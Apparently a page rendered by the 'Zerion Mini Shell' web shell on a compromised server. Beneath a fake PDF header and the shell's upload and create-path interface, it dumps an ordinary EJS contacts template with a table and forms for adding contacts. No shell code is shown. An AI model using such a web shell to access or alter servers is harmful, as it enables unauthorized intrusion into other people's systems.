%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/src/views/account/contact/
Upload File :
Create Path :
Current File : /home/opti/workflow/src/views/account/contact/index.ejs

   <% include ../../partials/header %>

   <!-- ////////////////////////////////////////////////////////////////////////////-->

   <% include ../../partials/sidebar %>
   <div class="app-content content">
        <div class="content-wrapper">
          <div class="content-header row">
            <div class="content-header-left col-md-6 col-12 mb-2">
              <h3 class="content-header-title mb-0">Contacts</h3>
              <div class="row breadcrumbs-top">
                <div class="breadcrumb-wrapper col-12">
                  <ol class="breadcrumb">
                    <li class="breadcrumb-item"><a href="/index">Home</a>
                    </li>
                    <!-- <li class="breadcrumb-item"><a href="#">Users</a> -->
                    </li>
                    <li class="breadcrumb-item active">Contacts
                    </li>
                  </ol>
                </div>
              </div>
            </div>
            <!-- <div class="content-header-right text-md-right col-md-6 col-12">
              <div class="btn-group">
                <button class="btn btn-round btn-info" type="button"><i class="icon-cog3"></i> Settings</button>
              </div>
            </div> -->
            <div class="text-center">
                <a class="quick-btn text-red" href="" data-toggle="modal" data-target="#addContact">
                  <i class="la la-plus fa-2x"></i>
                  <span>New Contact</span>
                </a>
            </div>
          </div>
          <div class="content-detached <% /*content-right */ %>">
            <div class="content-body">
              <section class="row">
                <div class="col-12">
                  <div class="card">
                    <!-- <div class="card-head">
                      <div class="card-header">
                        <h4 class="card-title">All Contacts</h4>
                        <a class="heading-elements-toggle"><i class="la la-ellipsis-h font-medium-3"></i></a>
                        <div class="heading-elements">
                          <button class="btn btn-primary btn-sm" data-toggle="modal" data-target="#addContact"><i class="ft-plus white"></i> Add Contacts</button>
                          <span class="dropdown">
                            <button id="btnSearchDrop1" type="button" data-toggle="dropdown" aria-haspopup="true"
                            aria-expanded="true" class="btn btn-warning dropdown-toggle dropdown-menu-right btn-sm"><i class="ft-download-cloud white"></i></button>
                            <span aria-labelledby="btnSearchDrop1" class="dropdown-menu mt-1 dropdown-menu-right">
                              <a href="#" class="dropdown-item"><i class="ft-upload"></i> Import</a>
                              <a href="#" class="dropdown-item"><i class="ft-download"></i> Export</a>
                              <a href="#" class="dropdown-item"><i class="ft-shuffle"></i> Find Duplicate</a>
                            </span>
                          </span>
                          <button class="btn btn-default btn-sm"><i class="ft-settings white"></i></button>
                        </div>
                      </div>
                    </div> -->
                    <div class="card-content">
                      <div class="card-body">
                        <!-- Task List table -->
                        <div class="table-responsive">
                          <table id="users-contacts" class="table table-white-space table-bordered row-grouping display no-wrap icheck table-middle">
                            <thead>
                              <tr>
                                <th>S/N</th>
                                <th>Name</th>
                                <th>Email</th>
                                <th>Phone</th>
                                <!-- <th>Favorite</th> -->
                                <th>Actions</th>
                              </tr>
                            </thead>
                            <tbody>
                              <% k = 0 %>
                              <% contacts.forEach(contact=>{ %>
                                <% k++ %>
                                <% if(contact.contactType == 1){ %>
                                  <tr>
                                    <td>
                                      <!-- <input type="checkbox" class="input-chk"> -->
                                      <%= k %>
                                    </td>
                                    <td>
                                      <div class="media">
                                        <div class="media-left pr-1">
                                          <span class="avatar avatar-sm avatar-online rounded-circle">
                                            <img src="/assets/images/contacts/<%= contact.person.passport %>" alt="avatar"><i></i></span>
                                        </div>
                                        <div class="media-body media-middle">
                                          <a href="#" class="media-heading"><%= contact.person.firstName +" " +contact.person.lastName %></a>
                                        </div>
                                      </div>
                                    </td>
                                    <td class="text-center">
                                      <a href="mailto:email@example.com"><%= contact.person.email %></a>
                                    </td>
                                    <td><%= contact.person.phoneNo %></td>
                                    <!-- <td class="text-center"><i class="la la-star  yellow darken-2"></i></td> -->
                                    <td>
                                      <span class="dropdown">
                                        <button id="btnSearchDrop2" type="button" data-toggle="dropdown" aria-haspopup="true"
                                        aria-expanded="true" class="btn btn-primary dropdown-toggle dropdown-menu-right"><i class="ft-settings"></i></button>
                                        <span aria-labelledby="btnSearchDrop2" class="dropdown-menu mt-1 dropdown-menu-right">
                                          <a href="#" class="dropdown-item"><i class="ft-edit-2"></i> Edit</a>
                                          <a href="#" class="dropdown-item"><i class="ft-trash-2"></i> Delete</a>
                                          <!-- <a href="#" class="dropdown-item"><i class="ft-plus-circle primary"></i> Projects</a>
                                          <a href="#" class="dropdown-item"><i class="ft-plus-circle info"></i> Team</a>
                                          <a href="#" class="dropdown-item"><i class="ft-plus-circle warning"></i> Clients</a>
                                          <a href="#" class="dropdown-item"><i class="ft-plus-circle success"></i> Friends</a> -->
                                        </span>
                                      </span>
                                    </td>
                                  </tr>
                                <% } else { %>
                                  <tr>
                                      <td>
                                        <!-- <input type="checkbox" class="input-chk"> -->
                                        <%= k %>
                                      </td>
                                      <td>
                                        <div class="media">
                                          <div class="media-left pr-1">
                                            <span class="avatar avatar-sm avatar-online rounded-circle">
                                              <img src="/assets/images/contacts/<%= contact.group.logoUrl %>" alt="logo"><i></i></span>
                                          </div>
                                          <div class="media-body media-middle">
                                            <a href="#" class="media-heading"><%= contact.group.name %></a>
                                          </div>
                                        </div>
                                      </td>
                                      <td class="text-center">
                                        <a href="<%= contact.group.email %>"><%= contact.group.email %></a>
                                      </td>
                                      <td><%= contact.group.phoneNo %></td>
                                      <!-- <td class="text-center"><i class="la la-star  yellow darken-2"></i></td> -->
                                      <td>
                                        <span class="dropdown">
                                          <button id="btnSearchDrop3" type="button" data-toggle="dropdown" aria-haspopup="true"
                                          aria-expanded="true" class="btn btn-primary dropdown-toggle dropdown-menu-right"><i class="ft-settings"></i></button>
                                          <span aria-labelledby="btnSearchDrop3" class="dropdown-menu mt-1 dropdown-menu-right">
                                            <a href="#" class="dropdown-item"><i class="ft-edit-2"></i> Edit</a>
                                            <a href="#" class="dropdown-item"><i class="ft-trash-2"></i> Delete</a>
                                            <!-- <a href="#" class="dropdown-item"><i class="ft-plus-circle primary"></i> Projects</a>
                                            <a href="#" class="dropdown-item"><i class="ft-plus-circle info"></i> Team</a>
                                            <a href="#" class="dropdown-item"><i class="ft-plus-circle warning"></i> Clients</a>
                                            <a href="#" class="dropdown-item"><i class="ft-plus-circle success"></i> Friends</a> -->
                                          </span>
                                        </span>
                                      </td>
                                    </tr>
                                <% } %>
                              <% }) %>


                            </tbody>
                            <tfoot>
                              <tr>
                                <th></th>
                                <th>Name</th>
                                <th>Email</th>
                                <th>Phone</th>
                                <!-- <th>Favorite</th> -->
                                <th>Actions</th>
                              </tr>
                            </tfoot>
                          </table>
                        </div>
                      </div>
                    </div>
                  </div>
                </div>
              </section>
            </div>
          </div>
          <% /* %>
          <div class="sidebar-detached sidebar-left" ,=",">
            <div class="sidebar">
              <div class="bug-list-sidebar-content">
                <!-- Predefined Views -->
                <div class="card">
                  <div class="card-head">
                    <div class="media p-1">
                      <div class="media-left pr-1">
                        <span class="avatar avatar-sm avatar-online rounded-circle">
                          <img src="../../../app-assets/images/portrait/small/avatar-s-1.png" alt="avatar"><i></i></span>
                      </div>
                      <div class="media-body media-middle">
                        <h5 class="media-heading">Margaret Govan</h5>
                      </div>
                    </div>
                  </div>
                  <!-- contacts search -->
                  <div class="card-body border-top-blue-grey border-top-lighten-5">
                    <div class="bug-list-search">
                      <div class="bug-list-search-content">
                        <form action="#">
                          <div class="position-relative">
                            <input type="search" id="search-contacts" class="form-control" placeholder="Search contacts...">
                            <div class="form-control-position">
                              <i class="la la-search text-size-base text-muted"></i>
                            </div>
                          </div>
                        </form>
                      </div>
                    </div>
                  </div>
                  <!-- /contacts search -->
                  <!-- contacts view -->
                  <div class="card-body">
                    <div class="list-group">
                      <a href="#" class="list-group-item active">All Contacts</a>
                      <a href="#" class="list-group-item list-group-item-action">Recently contacted</a>
                      <a href="#" class="list-group-item list-group-item-action">Favorite contacts</a>
                    </div>
                  </div>
                  <!-- Groups-->
                  <div class="card-body">
                    <p class="lead">Groups</p>
                    <ul class="list-group">
                      <li class="list-group-item">
                        <span class="badge badge-primary badge-pill float-right">14</span> <a href="#"> Project</a>
                      </li>
                      <li class="list-group-item">
                        <span class="badge badge-info badge-pill float-right">22</span> <a href="#"> Team</a>
                      </li>
                      <li class="list-group-item">
                        <span class="badge badge-warning badge-pill float-right">10</span> <a href="#"> Clients</a>
                      </li>
                      <li class="list-group-item">
                        <span class="badge badge-success badge-pill float-right">5</span> <a href="#"> Friends</a>
                      </li>
                    </ul>
                  </div>
                  <!--/ Groups-->
                  <!--More-->
                  <div class="card-body ">
                    <p class="lead">More</p>
                    <ul class="list-group">
                      <li><a href="#" class="list-group-item">Import</a></li>
                      <li><a href="#" class="list-group-item">Export</a></li>
                      <li><a href="#" class="list-group-item">Print</a></li>
                      <!-- <li><a href="#" class="list-group-item">Restore contacts</a></li>
                      <li><a href="#" class="list-group-item">Find duplicate</a></li> -->
                    </ul>
                  </div>
                  <!--/More-->
                </div>
                <!--/ Predefined Views -->
              </div>
            </div>
          </div>
          <% */ %>
        </div>
      </div>
   <!-- ////////////////////////////////////////////////////////////////////////////-->

   <!---////////////////////////////////////////-->
   <!-----Modal for creating contact-->
   <div class="modal fade text-left" id="addContact" tabindex="-1" role="dialog" aria-labelledby="myModalLabel16" style="display: none;" aria-hidden="true">
       <div class="modal-dialog modal-lg" role="document">
        <form action="/accounts/contacts/create" method="POST" enctype="multipart/form-data" >
           <div class="modal-content">
             <div class="modal-header">
             <h4 class="modal-title" id="myModalLabel16">Add New Contact</h4>
             <button type="button" class="close" data-dismiss="modal" aria-label="Close">
               <span aria-hidden="true">×</span>
             </button>
             </div>
             <div class="modal-body">
                <!--  -->

                <div class="col-xl-12 col-lg-12">

                          <div class="card-content">
                            <div class="card-body">

                              <ul class="nav nav-tabs nav-underline no-hover-bg nav-justified">
                                <li class="nav-item">
                                  <a class="nav-link active" id="active-tab32" data-toggle="tab" href="#active32" aria-controls="active32" aria-expanded="true">Individual</a>
                                </li>
                                <li class="nav-item">
                                  <a class="nav-link " id="link-tab32" data-toggle="tab" href="#link32" aria-controls="link32" aria-expanded="false">Group</a>
                                </li>

                              </ul>
                              <div class="tab-content px-1 pt-1">
                                <div role="tabpanel" class="tab-pane active" id="active32" aria-labelledby="active-tab32" aria-expanded="true">
                                    <form action="/accounts/contacts/create" method="POST" enctype="multipart/form-data" >

                                        <div class="row col-12">
                                            <div class="card col-lg-7 col-7 col-md-7">
                                                <div class="card-body">

                                                        <input type="hidden" value="1" name="contactType"/><!-- 1 is for individual-->

                                                    <div class="form-group">
                                                        <label for="salutation">Salutation :</label>
                                                        <input type="text" class="form-control" id="salutation" name="salutation">
                                                    </div>
                                                    <div class="form-group">
                                                        <label for="firstname">Firstname :</label>
                                                        <input type="text" class="form-control" id="firstname" name="firstname">
                                                    </div>
                                                    <div class="form-group">
                                                        <label for="middlename">Middlename :</label>
                                                        <input type="text" class="form-control" id="middlename" name="middlename">
                                                    </div>
                                                    <div class="form-group">
                                                        <label for="lastname">Lastname :</label>
                                                        <input type="text" class="form-control" id="lastname" name="lastname">
                                                    </div>

                                                    <div class="form-group">
                                                        <label for="email">Email :</label>
                                                        <input type="email" class="form-control" id="email" name="email">
                                                    </div>

                                                    <div class="form-group">
                                                        <label for="phoneNo">Phone Number :</label>
                                                        <input type="text" class="form-control" id="phoneNo" name="phoneNo">
                                                    </div>

                                                    <!-- </div> -->

                                                </div>


                                            </div>
                                            <div class="card col-12 col-md-5">
                                                <div class="col-lg-12 col-md-12">
                                                    <div class="card">
                                                    <!-- <div class="card-header">
                                                        <h4 class="card-title" id="image_type">Contact Passport</h4>
                                                    </div> -->
                                                    <div class="card-block">
                                                        <div class="card-body">
                                                            <label for="address">Contact Passport</label>
                                                            <fieldset class="form-group">
                                                                <div class="custom-file">
                                                                <input type="file" class="custom-file-input" id="image" name="passport">
                                                                <label class="custom-file-label" for="image">Choose file</label>
                                                                </div>
                                                            </fieldset>

                                                            <div class="form-group">
                                                                <label for="suffix">Suffix :</label>
                                                                <input type="text" class="form-control" id="suffix" name="suffix">
                                                            </div>

                                                            <div class="form-group">
                                                                <label for="gender">Gender :</label>
                                                                <select class="form-control" id="gender" name="gender">
                                                                    <option value="1">Male</option>
                                                                    <option value="2">Female</option>
                                                                </select>

                                                            </div>
                                                            <div class="form-group">
                                                                <label for="maritalStatus">Marital Status :</label>
                                                                <select class="form-control" id="maritalStatus" name="maritalStatus">
                                                                    <option value="1">Single</option>
                                                                    <option value="2">Married</option>
                                                                    <option value="2">Divorced</option>
                                                                </select>

                                                            </div>
                                                            <div class="form-group">
                                                                <label for="birthdate">Date of Birth :</label>
                                                                <input type="date" id="birthdate" class="form-control" name="birthdate" data-toggle="tooltip" data-trigger="hover" data-placement="top" data-title="Date of Birth" data-original-title="" title="">
                                                            </div>
                                                        </div>
                                                        <div class="modal-footer">
                                                            <button type="button" class="btn grey btn-secondary" data-dismiss="modal">Close</button>
                                                            <input type="submit" class="btn btn-primary" value="Save Contact" />
                                                        </div>
                                                    </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </form>
                                </div>
                                <div class="tab-pane " id="link32" role="tabpanel" aria-labelledby="link-tab32" aria-expanded="false">
                                        <form action="/accounts/contacts/create" method="POST" enctype="multipart/form-data" >
                                            <input type="hidden" name="contactType" value="2"/><!-- 2 is form group-->
                                            <div class="row col-12">
                                                <div class="card col-lg-7 col-7 col-md-7">
                                                    <div class="card-body">
                                                        <div class="form-group">
                                                            <label for="name">Name :</label>
                                                            <input type="text" class="form-control" id="name" name="name">
                                                        </div>
                                                        <div class="form-group">
                                                            <label for="nameLocal">Name Local :</label>
                                                            <input type="text" class="form-control" id="nameLocal" name="nameLocal">
                                                        </div>

                                                        <div class="form-group">
                                                            <label for="offSiteName">Offsite Name :</label>
                                                            <input type="text" class="form-control" id="offSiteName" name="offSiteName">
                                                        </div>
                                                        <div class="form-group">
                                                                <label for="email">Email :</label>
                                                                <input type="email" class="form-control" id="email" name="email">
                                                            </div>

                                                            <div class="form-group">
                                                                <label for="phoneNo">Phone Number :</label>
                                                                <input type="text" class="form-control" id="phoneNo" name="phoneNo">
                                                            </div>

                                                    </div>


                                                </div>
                                                <div class="card col-12 col-md-5">
                                                    <div class="col-lg-12 col-md-12">
                                                        <div class="card">
                                                            <!-- <div class="card-header"> -->
                                                            <!-- </div> -->
                                                            <div class="card-block">
                                                                    <div class="card-body">
                                                                    <fieldset class="form-group">
                                                                        <label for="address">Contact Logo</label>
                                                                        <div class="custom-file">
                                                                        <input type="file" class="custom-file-input" id="logo" name="logo">
                                                                        <label class="custom-file-label" for="logo">Choose file</label>
                                                                        </div>
                                                                    </fieldset>
                                                                    <div class="form-group">
                                                                        <label for="address">Address :</label>
                                                                        <textarea name="address" id="address" rows="4" class="form-control"></textarea>
                                                                    </div>

                                                                    <div class="form-group">
                                                                        <label for="comment">Comment :</label>
                                                                        <textarea name="comment" id="comment" name="comment" rows="4" class="form-control"></textarea>
                                                                    </div>
                                                                    <div class="modal-footer">
                                                                        <button type="button" class="btn grey btn-secondary" data-dismiss="modal">Close</button>
                                                                        <input type="submit" class="btn btn-primary" value="Save Contact" />
                                                                    </div>

                                                                </div>
                                                            </div>
                                                            </div>
                                                        </div>
                                                </div>
                                            </div>
                                        </form>
                                </div>

                              </div>
                            </div>
                          </div>
                        </div>
                      </div>


           </div>

       </div>
     </div>


  <% include ../../partials/footer %>
  <!-- <script src="/app-assets/js/scripts/pages/invoices-list.js"/> -->
<script >
    function contactTypeChange(){
        var contactType = $("#contactType").val();
        console.log(contactType);
        if(contactType == 1){
            //contact is individual
            // $("#personDiv").removeClass('d-none')
            // $("#groupDiv").addClass('d-none')

            $("#groupDiv").addClass('d-none')
            $("#personDiv").removeClass('d-none')

        }

        if(contactType == 2){
            console.log("am 2")
            $("#personDiv").addClass('d-none')
            $("#groupDiv").removeClass('d-none')

        }
    }

</script>

Zerion Mini Shell 1.0